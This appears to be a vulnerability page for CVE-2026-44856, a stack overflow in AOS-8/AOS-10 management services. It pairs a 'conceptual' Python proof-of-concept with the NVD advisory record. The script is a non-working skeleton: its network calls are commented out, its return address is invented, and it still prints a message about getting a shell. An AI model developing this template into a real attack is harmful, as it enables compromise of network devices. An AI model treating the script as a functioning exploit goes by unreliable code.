CVE-2026-44856

import socket import sys # PoC for CVE-2026-44856 (Conceptual) # Target: AOS-8/10 Management Service via CLI # Note: This requires administrative credentials (PR:H) def send_exploit(target_ip, port, username, password): try: print(f"[*] Connecting to {target_ip}:{port}...") # 1. Establish Connection (e.g., SSH/Telnet to CLI) # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, port)) # 2. Authenticate as Admin # ... login logic ... # 3. Craft the payload # Offset needs to be determined through debugging/fuzzing offset = 1024 ret_addr = b"\xaf\x11\x40\x00" # Hypothetical return address padding = b"A" * offset payload = padding + ret_addr # 4. Send payload to the vulnerable management service command # Example: vulnerable_command(payload) # s.send(payload) print("[!] Payload sent conceptually. Check for shell.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Usage: python poc.py <IP> <PORT> <USER> <PASS> if len(sys.argv) == 5: send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]) else: print("Usage: python poc.py <IP> <PORT> <USER> <PASS>")

{"cve": {"id": "CVE-2026-44856", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:44.217", "lastModified": "2026-05-12T20:16:44.217", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}